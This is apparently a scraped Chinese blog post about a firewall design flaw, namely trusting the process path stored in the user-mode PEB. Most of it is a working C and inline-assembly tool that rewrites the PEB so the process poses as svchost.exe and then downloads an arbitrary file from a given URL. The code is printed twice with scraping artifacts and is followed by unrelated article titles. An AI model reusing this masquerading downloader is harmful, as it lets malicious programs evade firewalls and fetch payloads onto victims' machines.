防火墙普遍存在的设计缺陷--关于进程路径的获取
来源:互联网 发布:什么软件制作名片 编辑:程序博客网 时间:2024/05/18 02:20
作者:RonCha
主页:http://blog.csdn.net/RonCha/
当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。
问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。
DEMO代码如下,如需更完整的信息请与我联系:
// fuckdown.cpp : Defines the entry point for the console application.
//
// [9/19/2006 RonCha]
#include "stdafx.h"
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
char szpath[MAX_PATH]=...{0};
OLECHAR path[MAX_PATH]=...{0};
void ChangPath();
int main(int argc, char* argv[])
...{
//修改路径
ChangPath();
if (argc==3)
...{
if (argv[1]!="" && argv[2]!="")
...{
HRESULT hRet=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
if(hRet==S_OK)
printf(" Down Success! ");
else
printf(" Can't down the file! ");
return 1;
}
}
printf("Author:RonCha ");
printf("Web:http://blog.csdn.net/RonCha ");
printf("Usage:fuckdown.exe downurl savepath ");
return 0;
}
void ChangPath()
...{
//将该进程伪装为svchost.exe
int slen;
slen=GetSystemDirectory(szpath,MAX_PATH);
slen=GetSystemDirectory(szpath,slen);
lstrcat(szpath,"/svchost.exe");
//转化为Unicode字符
MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
__asm
...{
MOV EAX, fs:[30h] //get the PEB address
MOV EAX, [EAX+0xC] //_PEB_LDR_DATA
MOV EAX, [EAX+0xC] //InLoadOrderModuleList
lea ebx,path
mov WORD ptr[EAX+0x24],0x60 //FullDllName->Length
mov [EAX+0x28],ebx //FullDllName->Buffer
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea EAX,[EAX+0x3c] //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
lea ebx,path
mov [eax],ebx //ImagePathName->Buffer
mov WORD ptr[eax-4],0x60 //ImagePathName->Length
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea eax,[EAX+0x44] //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
lea ebx,path
mov [eax],ebx //CommandLine-->Buffer
mov WORD ptr[eax-4],0x60 //CommandLine-->Length
}
}
//
// [9/19/2006 RonCha]
#include "stdafx.h"
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
char szpath[MAX_PATH]=...{0};
OLECHAR path[MAX_PATH]=...{0};
void ChangPath();
int main(int argc, char* argv[])
...{
//修改路径
ChangPath();
if (argc==3)
...{
if (argv[1]!="" && argv[2]!="")
...{
HRESULT hRet=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
if(hRet==S_OK)
printf(" Down Success! ");
else
printf(" Can't down the file! ");
return 1;
}
}
printf("Author:RonCha ");
printf("Web:http://blog.csdn.net/RonCha ");
printf("Usage:fuckdown.exe downurl savepath ");
return 0;
}
void ChangPath()
...{
//将该进程伪装为svchost.exe
int slen;
slen=GetSystemDirectory(szpath,MAX_PATH);
slen=GetSystemDirectory(szpath,slen);
lstrcat(szpath,"/svchost.exe");
//转化为Unicode字符
MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
__asm
...{
MOV EAX, fs:[30h] //get the PEB address
MOV EAX, [EAX+0xC] //_PEB_LDR_DATA
MOV EAX, [EAX+0xC] //InLoadOrderModuleList
lea ebx,path
mov WORD ptr[EAX+0x24],0x60 //FullDllName->Length
mov [EAX+0x28],ebx //FullDllName->Buffer
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea EAX,[EAX+0x3c] //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
lea ebx,path
mov [eax],ebx //ImagePathName->Buffer
mov WORD ptr[eax-4],0x60 //ImagePathName->Length
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea eax,[EAX+0x44] //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
lea ebx,path
mov [eax],ebx //CommandLine-->Buffer
mov WORD ptr[eax-4],0x60 //CommandLine-->Length
}
}
- 防火墙普遍存在的设计缺陷--关于进程路径的获取
- 防火墙普遍存在的设计缺陷--关于进程路径的获取
- 防火墙普遍存在的设计缺陷--关于进程路径的获取
- 防火墙普遍存在的设计缺陷--关于进程路径的获取
- 防火墙普遍存在的设计缺陷--关于进程路径的获取
- VC下通过进程ID获取进程镜像文件路径的方法及其存在的缺陷
- 设备管理项目通用性研究与开发(2)传统系统普遍存在的缺陷
- “成见”是普遍存在的
- WF当前工作流设计存在的缺陷
- 测试自动化普遍存在的问题
- 测试自动化普遍存在的问题
- 测试自动化普遍存在的问题
- 目前国内seo普遍存在的一种现象
- BIM数据库应用普遍存在的问题
- [转]从华为看中国企业管理的普遍缺陷
- 防火墙不能防范的缺陷
- 获取进程当前的路径
- 解决自定义竖着的SeekBar存在的普遍问题
- 杨峰铭 的 问答
- 青青
- “犯强汉者,虽远必诛!”----遥想伟大汉人当年
- CListCtrl排序的解决办法
- web中打开word提示无法打开宏储存?
- 防火墙普遍存在的设计缺陷--关于进程路径的获取
- why overridden methods?
- 随心所欲——javadoc转chm
- 唉!!!!!!
- 一名25岁的董事长给大学生的18条忠告
- 不要一辈子靠技术生存
- Windows异常处理流程
- 从Google身上可以学到的14个东西
- 我和我女朋友之二十六